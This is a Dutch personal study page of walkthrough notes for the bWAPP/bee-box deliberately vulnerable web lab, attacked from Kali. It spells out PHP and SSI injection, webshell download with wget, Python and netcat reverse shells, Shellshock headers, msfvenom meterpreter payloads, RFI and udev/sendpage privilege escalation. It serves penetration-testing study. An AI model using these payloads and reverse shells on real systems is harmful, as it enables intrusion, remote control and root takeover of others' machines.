KB » Computer » Beebox

Beebox

    Tweeten

Beebox setup

Deze VM is voor VMWare gemaakt, en moet geconverteerd worden naar VirtualBox.

Conversie

Klik rechts op de map OVFTool in de map C:\Program Files (x86)\VMware\VMware Player. Klik op Open PowerShell window here. Je zit nu in PowerShell in de map OVFTool.

Voer dan dit commando (aangepast) uit: .\ovftool.exe "C:\Users\Henk\Desktop\Web App Pentesting\bee-box\bee-box.vmx" "C:\Users\Henk\Desktop\Web App Pentesting\bee-box\beebox.ovf"
Je kan de output file openen in VirtualBox

Instellingen

Ga naar de settings van deze virtuele machine, die je het beste Beebox kan noemen. Verander bij de network settings de adapter in Host-only adapter (zelfde als in Kali), en start dan Beebox

Klik in Beebox op het terminalicoontje (naast System), en tik in: ifconfig, om het IP-adres te zien. Doe dan in Kali een ping van dit adres. Tik dan in browser in Kali dit in: http://Beebox IP address/bWAPP


A1 - HTML injection

  1. HTML Injection - Reflected (GET)
  2. HTML Injection - Reflected (POST)
  3. HTML Injection - Reflected (Current URL)
  4. HTML Injection - Stored (Blog)
  5. iFrame Injection
  6. LDAP Injection (Search)
  7. Mail Header Injection (SMTP)
  8. OS Command Injection
  9. OS Command Injection - Blind
  10. PHP Code Injection
  11. Server-Side Includes (SSI) Injection
  12. SQL Injection (GET/Search)
  13. SQL Injection (GET/Select)
  14. SQL Injection (POST/Search)
  15. SQL Injection (POST/Select)
  16. SQL Injection (AJAX/JSON/jQuery)
  17. SQL Injection (CAPTCHA)
  18. SQL Injection (Login Form/Hero)
  19. SQL Injection (Login Form/User)
  20. SQL Injection (SQLite)
  21. SQL Injection (Drupal)
  22. SQL Injection - Stored (Blog)
  23. SQL Injection - Stored (SQLite)
  24. SQL Injection - Stored (User-Agent)
  25. SQL Injection - Stored (XML)
  26. SQL Injection - Blind - Boolean-Based
  27. SQL Injection - Blind - Time-Based
  28. SQL Injection - Blind (SQLite)
  29. SQL Injection - Blind (Web Services/SOAP)
  30. XML/Path Injection (Login Form)
  31. XML/Path Injection (Search)

PHP Code Injection

Klik op het woord message. In de URL staat nu http://192.168.56.119/bWAPP/phpi.php?message=test

Als je het woord 'test' in de URL vervangt door 'hi' krijg je dat op het scherm. Dus ga je er neerzetten phpinfo(). Vervolgens ga je met ?message=1;system('cat /proc/version'); proberen wat info over het OS te krijgen. (Ik snap niet wat de functie van de '1;' is.)

Dan doe je ?message=test;system('grep -A 5 1001 /etc/passwd');
Je probeert hiermee 5 regels van de password file te zien, na user 1001, wat de 1e user is die is aangemaakt (anders zou je service users te zien krijgen).
(Zonder '1001' werkt het niet om duistere reden.)

?message=test;system('hostname'); levert bee-box
?message=test;system('whoami'); levert www-date
?message=test;system('pwd'); levert /var/www/bWAPP

Server-Side Includes (SSI) Injection

Uitleg (Jesse Kuros)

SSI's are directives present on web applications used to feed an HTML page with dynamic contents. They are similar to CGI's, except that SSI's are used to execute some actions before the current page is loaded or while the page is being visualized. In order to do so, the web server analyzes SSI before supplying the page to the user.

Uitleg ( HackerSploit (YouTube))

SSI is server side scripting language that is used on the web. It is supported by Apache, ... and Microsoft IIS. The extensions that it uses are .HTML, .HTM, .SHTM

SSI's are used to execute some actions before the current page is loaded or when the page is being visualized. In order to do so, the web server analyzes the SSI before supplying the page to the user.

It is very commonly used to save time on developing web apps with dynamic content. For example, if you have a web app that has various web pages that require dynamic content, like the logo and header to load, SSI allows you to include this in every web page by using an include directive.

Uitvooering 1 (Jesse Kuros)

Als je 2 keer 'test' invoert krijg je je IP adres te zien. De URL heeft extensie .SHTML, wat betekent dat we met SSI's werken. Probeer als first name <!--#exec cmd="hostname" --> en als last name <!--#exec cmd="pwd" -->
Als resultaat krijg je Hello bee-box /var/www/bWAPP

Doe in Kali: cp /usr/share/webshells/php/php-backdoor.php /var/www/html/php-backdoor.php.txt
Start Apache: service apache2 start

Download nu in Beebox de net gemaakte file met <!--#exec cmd="wget http://192.168.112.4/php-backdoor.php.txt -O /var/www/bWAPP/shellz.php" -->
Je ziet daar geen resultaat van, behalve je IP-adres.

Om te zien of het gewerkt heeft ga je de browser in Kali naar IP-adres/bWAPP/shellz.php
Je hebt nu een PHP shell.

8:30 Je gaat hiervan gebruik maken om een full interactive shell te krijgen. Doe in Kali op de command line: nc -nlvp 4444

Met het volgende Python commando krijg je een reverse shell op Beebox: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.112.4",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
It connects back from Beebox to Kali with a shell. Het commando voer je in in het 1e veld (execute command: ) van het shellz.php scherm.

In Kali krijg je de meldingen
connect to [...] from (UNKNOWN) [...] 36420 en
/bin/sh: can't access tty; job control turned off
De laatste regel betekent dat je een limited shell hebt.

Met nog een Python commando spawnen we een tty shell: python -c 'import pty; pty.spawn("/bin/bash")'

Uitvoering 2 (HackerSploit) - low

Het 1e wat je moet testen is wat de applicatie doet met vreemde tekens in het invoerveld, bv. <!#=/."->

Vul in in het veld First name: <!--#exec cmd="whoami" -->, en in het veld Last name: <!--#exec cat /etc/passwd" -->

Het belangrijke is een reverse shell te krijgen. Je voert iets willekeurigs in in 'First name', en in 'Last name' zet je <!--#exec cmd=nc -nv IP address 1234 -e /bin/bash" -->

Uitvoering 2 (HackerSploit) - medium

Probeer <!--#exec cmd="whoami" --> in het 'Last name' veld, en je ziet dat het niet uitgevoerd wordt.

Omdat het security level verhoogd is, wordt er nu gecontroleerd op een aantal vreemde tekens. In dit geval blijkt het te gaan om de dubbele quotes.


A2 - Broken Authentication & Session Management

  1. Broken Authentication - CAPTCHA Bypassing
  2. Broken Authentication - Forgotten Function
  3. Broken Authentication - Insecure Login Forms
  4. Broken Authentication - Logout Management
  5. Broken Authentication - Password Attacks
  6. Broken Authentication - Weak Passwords
  7. Session Management - Administrative Portals
  8. Session Management - Cookies (HTTP Only)
  9. Session Management - Cookies (Secure)
  10. Session Management - Session ID in URL
  11. Session Management - Strong Sessions

A3 - Cross-Site Scripting

  1. Cross-Site Scripting - Reflected (GET)
  2. Cross-Site Scripting - Reflected (POST)
  3. Cross-Site Scripting - Reflected (JSON)
  4. Cross-Site Scripting - Reflected (AJAX/JSON)
  5. Cross-Site Scripting - Reflected (AJAX/XML)
  6. Cross-Site Scripting - Reflected (Back Button)
  7. Cross-Site Scripting - Reflected (Custom Header)
  8. Cross-Site Scripting - Reflected (Eval)
  9. Cross-Site Scripting - Reflected (HREF)
  10. Cross-Site Scripting - Reflected (Login Form)
  11. Cross-Site Scripting - Reflected (phpMyAdmin)
  12. Cross-Site Scripting - Reflected (PHP_SELF)
  13. Cross-Site Scripting - Reflected (Referer)
  14. Cross-Site Scripting - Reflected (User-Agent)
  15. Cross-Site Scripting - Stored (Blog)
  16. Cross-Site Scripting - Stored (Change Secret)
  17. Cross-Site Scripting - Stored (Cookies)
  18. Cross-Site Scripting - Stored (SQLiteManager)
  19. Cross-Site Scripting - Stored (User-Agent)

Cross-Site Scripting - Reflected (GET)

Zie Kuros

Vul 'test1' en 'test2' in in de velden voor- en achternaam, en je krijgt Welcome test1 test2

Vul nu in het 1e veld dit in: <script>alert('Vulnerable to XSS')</script>
Je krijgt een popup met de tekst. Het 2e veld is ook kwetsbaar.

Cross-Site Scripting - Reflected (POST)

Cross-Site Scripting - Reflected (JSON)

Zie Kuros

JSON = JavaScript Object Notation. Het is in een lightweight data interchange format. Probeer hetzelfde stukje script als hiervoor.

Je krijgt een foutmelding. Kijk naar de source code van de pagina. Je ziet dat de "input is reflected in the JSON request" (tussen de 'script' tags). Dus om de JavaScript te laten werken "we need to filter the input appropriately".

"Ending the JavaScript and adding another one. Just going to be executing by the web application. Kopieer deze regel (geen idee waar hij vandaan komt): "}]}';</script><script>alert('Vulnerable to XSS')</script>

Het kan ook op deze manier: <svg onload=alert(1)>
Of op deze manier: <img src=# onerror=alert(1)>

Cross-Site Scripting - Reflected (Back Button)

Zie Kuros

Ga eerst naar de portal, en klik dan op deze keuze en op Hack. Als je dan op Back klikt zou je terug op de portal moeten komen.

Bekijk de source code van de page. Bij de 'onClick' van de back button, zie je dat de URL van de portal in de source code zit ('document.location.href').

Start Burp, met intercepting on. Klik op Go back. Vervang in het raw packet de waarde van Referer met Referer: Reflected XSS
(Klik diverse keren op Forward en opnieuw menukeuze en klik op Go back), en kijk weer in source code.

Zet intercepting uit.

Niet compleet!!!

Cross-Site Scripting - Reflected (Custom Header)

Zie Kuros

Cross-Site Scripting - Stored (Blog)

Zie Kuros

Je voert het bekende stukje JavaScript weer in: <script>alert('Stored XSS')</script>, en klikt op Submit
'Stored XSS' wordt weergegeven.

Iedere keer als je de pagina ververst wordt de tekst ook weergegeven, omdat ie opgeslagen is in de applicatie.

Cross-Site Scripting - Stored (User-Agent)

Zie Kuros

We moeten wat code stoppen in de HTTP header van de User Agent. Zet Burp aan en intercepting, en ververs de pagina. Ga nu in het raw packet de waarde van User Agent vervangen met <script>alert('Stored XSS')</script>

Klik op Forward, en zet intercepting uit. De tekst verschijnt, en ook iedere keer als je de pagina ververst.

Cross-Site Scripting - Stored (SQLiteManager)

Zie Kuros

Klik op de link, versie is 1.2.4 Er wordt al een hint gegeven, maar we proberen SearchSploit, een tool die Kali's beschikbare exploits doorzoekt. Tik in (in Kali): searchsploit SQLite 1.2

Je ziet een XSS vulnerability die met main.php te maken heeft. Je doet cat /usr/share/exploitdb/, en dan het stuk wat onder Path staat: exploit/php/webapps/33154.txt
Kopiëer het stuk uit het voorbeeld.

Ga terug naar SQLite in Beebox, en plak het stuk achter de URL, maar dan iets aangepast: main.php?redirect=<script>alert('SQlite=vulnerable')


A4 - Insecure Direct Object References

  1. Insecure DOR (Change Secret)
  2. Insecure DOR (Reset Secret)
  3. Insecure DOR (Order Tickets)

A5 - Security Misconfiguration

  1. Arbitrary File Access (Samba)
  2. Cross-Domain Policy File (Flash)
  3. Cross-Origin Resource Sharing (AJAX)
  4. Cross-Site Tracing (XST)
  5. Denial-of-Service (Large Chunk Size)
  6. Denial-of-Service (Slow HTTP DoS)
  7. Denial-of-Service (SSL-Exhaustion)
  8. Denial-of-Service (XML Bomb)
  9. Insecure FTP Configuration
  10. Insecure SNMP Configuration
  11. Insecure WebDAV Configuration
  12. Local Privilege Escalation (Sendpage)
  13. Local Privilege Escalation (Udev)
  14. Man-in-the-Middle Attack (HTTP)
  15. Man-in-the-Middle Attack (SMTP)
  16. Old/Backup & Unreferenced Files
  17. Robots File

Insecure FTP Configuration

Vanuit Kali FTP naar Beebox: ftp Beebox IP-address
Gebruik user anonymous, en geen password.

Je kan nu gewoon een dir-commando doen, en misschien gevoelige informatie bekijken.

Insecure SNMP Configuration

Zie Kuros, 6:35.

Insecure WebDAV Configuration

Zie Kuros.

WebDAV is an extension of HTTP that allows remote creation and modification of documents on a web server. WebDAV is prone to a plethora of different vulnerabilities, ranging from unauthorized file access and upload, to execution of arbitrary code.

Om de directory op Beebox te vinden doen we dirb in Kali: dirb http://192.168.112.5 | grep -i webdav

Als we het pad hebben gaan we scannen op vulnerabilities: nikto -h http://192.168.112.5/webdav/
Je krijgt o.a. als uitvoer: OSVDB-3268: /webdav/: Directory indexing found
en nog een heleboel andere vulnerabilities.

We gaan (op Kali) de tool cadaver gebruiken. Die kan worden gebruikt als een WebDAV client.
cadaver http://192.168.112.5/webdav/
Doe ls om de files in de directory te zien. Met ? zie je welke commando's je kan gebruiken.

Met het volgende commando probeer je alle bestanden op te halen: mget *

Nu PHP shell uploaden, om een reverse connectie naar Kali te krijgen. Dit commando is in een andere exercise ook al gedaan: msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.112.4 LPORT=4446 -f raw -o evil.txt

Op Beebox (in de webdav directory): put evil.txt

Op Kali:

msfconsole use exploit/multi/handler set LHOST IP address Kali set LPORT 4446 set PAYLOAD php/meterpreter_reverse_tcp exploit

In Beebox: voer de volgende URL in: http://Beebox IP address/webdav/evil.txt
Dat werkt niet, omdat de file als tekst geinterpreteerd wordt. Dus ga je de file hernoemen: move evil.txt evil.php
Als je die invoert heb je een meterpreter sessie op Kali.

Local Privilege Escalation (Udev)

Deze manier om lage privileges te krijgen is eerder behandeld:

msfconsole use exploit/multi/handler set LHOST IP_address Kali set LPORT 4446 set PAYLOAD php/meterpreter_reverse_tcp run

Voer dit als URL in op Beebox:
bWAPP/rlfi.php?language=http://IP_address Kali/evil.txt

Op Beebox, tik in: shell, dan
python -c 'import pty; pty.spawn("/bin/sh")'

Er zijn nu 2 methodes om privileges lokaal te escaleren. Dit valt onder out-of-date software. Nu gaan we naar root escaleren.

Tik in pwd, dan cd .. (je bent dan in /var/www), dan evil
Je gaat cve-2009-1185.c gebruiken (leverages udef, launching an executable from the temp directory with root privileges). Udef, before version 1.4.1 is not verifying whether a net link message originates from kernel space. This allows a local user, such as our www user to gain root privileges by sending a netlink message. Eerst moeten we een malicious payload maken en met wget naar Beebox oversturen.

Kali: msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.112.4 LPORT=5000 -f elf -o /var/www/html/run (-p voor payload, IP van Kali, elf is file type Linux executable). Dat de output naar run gaat is belangrijk, omdat de exploit naar zo'n file zoekt in de temp folder.

Doe nu de volgende commando's in Beebox:

msfconsole use exploit/multi/handler set LHOST 192.168.112.4 set LPORT 5000 set PAYLOAD linux/x86/meterpreter/reverse_tcp run

Nu (Beebox): wget http://192.168.112.4/run -o /tmp/run
Compile exploit: gcc cve-2009-1185.c -o /tmp/privescalation , en dan chmod +x privescalation

Je moet nu het PID van udev te weten komen, en doet dat met ps aux | grep udev
Dan: ./privescalation Pid-1

Terug naar Kali (meterpreter sessie geopend). Tik in: shell, en dan
python -c 'import pty; pty.spawn("/bin/sh")'

Tik in: id (zou root moeten zijn), en whoami

Local Privilege Escalation (Sendpage)

Op Beebox: cd /var/www/evil
We gaan nu gebruik maken van cve-2009-2692.tar

tar -xvf cve-2009-2692.tar
We hoeven nu alleen het shell script uit te voeren: cd cve-2009-2692
sh cve-2009-2692.sh

This is a vulnerability that applies to various Linux kernels that don't initialize all function pointers for socket operations and ...??? This allows local users, such as our www to trigger a null pointer dereferenced to gain privileges by using mmap to map page 0, placing arbitrary code on this page and then invoking an unavailable operation. Essentially what we did is use a shell script to map zero page, and it


A6 - Sensitive Data Exposure

  1. Base64 Encoding (Secret)
  2. BEAST/CRIME/BREACH Attacks
  3. Clear Text HTTP (Credentials)
  4. Heartbleed Vulnerability
  5. Host Header Attack (Reset Poisoning)
  6. HTML5 Web Storage (Secret)
  7. POODLE Vulnerability
  8. SSL 2.0 Deprecated Protocol
  9. Text Files (Accounts)

A7 - Missing Functional Level Access Control

  1. Directory Traversal - Directories
  2. Directory Traversal - Files
  3. Host Header Attack (Cache Poisoning)
  4. Host Header Attack (Reset Poisoning)
  5. Local File Inclusion (SQLiteManager)
  6. Remote and Local File Inclusion (RFI/LFI)
  7. Restrict Device Access
  8. Restrict Folder Access
  9. Server Side Request Forgery (SSRF)
  10. XML External Entity Attacks (XXE)

A8 - Cross-Site Request Forgery

  1. Cross-Site Request Forgery (Change Password)
  2. Cross-Site Request Forgery (Change Secret)
  3. Cross-Site Request Forgery (Transfer Amount)

A9 - Using Known Vulnerable Components

  1. Buffer Overflow (Local)
  2. Buffer Overflow (Remote)
  3. Drupal SQL Injection (Drupageddon)
  4. Heartbleed Vulnerability
  5. PHP CGI Remote Code Execution
  6. PHP Eval Function
  7. phpMyAdmin BBCode Tag XSS
  8. Shellshock Vulnerability (CGI)
  9. SQLiteManager Local File Inclusion
  10. SQLiteManager PHP Code Injection
  11. SQLiteManager XSS

Shellshock Vulnerability (CGI)

Zie Kuros

Beebox: Rechtsklik, en bekijk de source van de pagina. Je vindt een script genaamd shellshock.sh
Vervang shellshock.php in de URL door het pad in de source.

Burp en intercepting aan, en reload page, dan Send to Repeater en zet intercepting uit. Er is geen Referer HTTP Header in het raw packet, dus je maakt hem zelf: Referer: () { bWAPP;}; echo; /bin/echo "Vulnerable to Shell Shock"

Klik op Go. In het antwoord staat de tekst. Doe op de command line in Kali: nc -nlvp 5050

Verander nu de code in het raw packet in: Referer: () { bWAPP;}; echo; /bin/nc -e /bin/bash IP Kali 5050
Klik Go, en je hebt verbinding.

Buffer Overflow (Local)

Zie Kuros

Doe op de command line in Kali: nc -nlvp 5050
Plak in het veld Search a movie: $(nc -e /bin/bash IP Kali 5050)
En er is verbinding.

Buffer Overflow (Remote)

Zie Kuros

Er zijn 354 characters nodig om de buffer te vullen. We moeten ook weten op welke poort de vulnerable service luistert. Daarvoor draai je nmap: nmap -p1-1024 192.168.112.5 -T5

Alleen poort 666 is onverwacht (doom). We doen: msfvenom LHOST=192.168.112.4 LPORT=4448 -p linux/x86/meterpreter/reverse_tcp -b '\x00' -f py (excluding 0 byte, payload reverse_tcp, filetype is Python). Het resultaat is een aantal bytes, die we gaan gebruiken in het Python script (sploitbee.py).
09:20 Het Python script uitgelegd.

Nu doe je op Kali:

msfconsole use exploit/multi/handler set LHOST Kali set LPORT 4448 set PAYLOAD linux/x86/meterpreter/reverse_tcp exploit

Nu open je nieuwe terminal, en tikt in:
python sploitbee.py
Je hebt nu een meterpreter shell, en kan de commando's shell en id doen om te zien dat je root hebt.


A10 - Unvalidated Redirects & Forwards

  1. Unvalidated Redirects & Forwards (1)
  2. Unvalidated Redirects & Forwards (2)

Other Bugs

  1. ClickJacking (Movie Tickets)
  2. Client-Side Validation (Password)
  3. HTTP Parameter Pollution
  4. HTTP Response Splitting
  5. HTTP Verb Tampering
  6. Information Disclosure - Favicon
  7. Information Disclosure - Headers
  8. Information Disclosure - PHP Version
  9. Information Disclosure - Robots File
  10. Insecure iFrame - Login Form
  11. Unrestricted file Upload

Extras

  1. A.I.M - No-authentication Mode
  2. Client Access Policy File
  3. Cross-Domain Policy File
  4. Evil 666 Fuzzing Page
  5. Manual Intervention Required!
  6. Unprotected Admin Portal
  7. We Steal Secrets... (HTML)
  8. We Steal Secrets... (Plain)
  9. WSDL File (Web Services/SOAP)


    Tweeten

© Henk Dalmolen
Reageer via E-mail (dalmolen@xs4all.nl)

Deze pagina is voor het laatst gewijzigd op: 24-01-23 14:08:47